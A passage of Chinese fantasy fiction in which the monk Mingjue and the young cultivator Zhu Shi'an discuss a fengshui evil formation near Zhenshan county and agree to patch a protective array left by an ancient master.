明觉大师暗叹,祝家这个后人浑身冒着的轻灵之气啊,浑然天成,一看就是得上天厚爱之人,跟他这种修了一辈子的道还如此愚钝的人,仿佛天与地的差别。 她还这般年轻,他竟然看不透她的修为。 祝十安微微颔首:“明觉大师,多谢望云寺昨晚上的钟声。” 明觉大师不惊讶祝十安能认出他,他道:“不敢当,我们望云寺得县里乡亲照顾,这是我们该做的。只是,我们能力有限,治标不治本。” 祝十安倒时坦然:“天然的风水局没那么好改,能治标也是好事,过些年未必不能治本。” 以前的祝十安解决这点问题那都是顺手的事,现在不太顺手,过几年等她修为高了,自然会顺手。 “如此说,祝小友知道怎么解决?” 祝十安不解:“你不知道?把里头的阴穴铲平了,彻底破了荡风过穴煞不不就解决了?” 明觉大师:“……” 他如何不知道,如果真那么容易破除,这个问题也不会遗留到现在没解决。 明觉大师请道:“小友认为现在我们该怎么办?” 祝十安遗憾叹气:“实力不够,现在只能做点裱糊匠的活儿,先把破洞漏风的法阵暂且补上吧。” 明觉大师笑着点点头,祝家这位后人口气虽大,做事儿还是实在。 据许多没有断绝传承的各门派玄门手札记载,所有提到镇山县的荡风过穴煞的记载中,都记载了如何补法阵的方法。 可惜了,若不是当年发现这个地方有问题的太一门老祖李清风死得太早,没能彻底解决这个问题就陨落在那场大战里了,后人也不会为此烦忧千百年。 没本事彻底解决问题,只能守在此地,既怕李清风留下的阵法破了没及时补上害了镇山县百姓的性命,又怕邪门歪道偷偷闯进去借这个地方养尸为祸天下。 明觉大师怕祝十安不知此地凶险,仔细说给祝十安听,祝十安听后只有一个感觉,后继无人! 玄门真是没落了,一代不如一代。 也罢了,她师傅留下的遗祸,还得是她这个当徒弟的来收尾。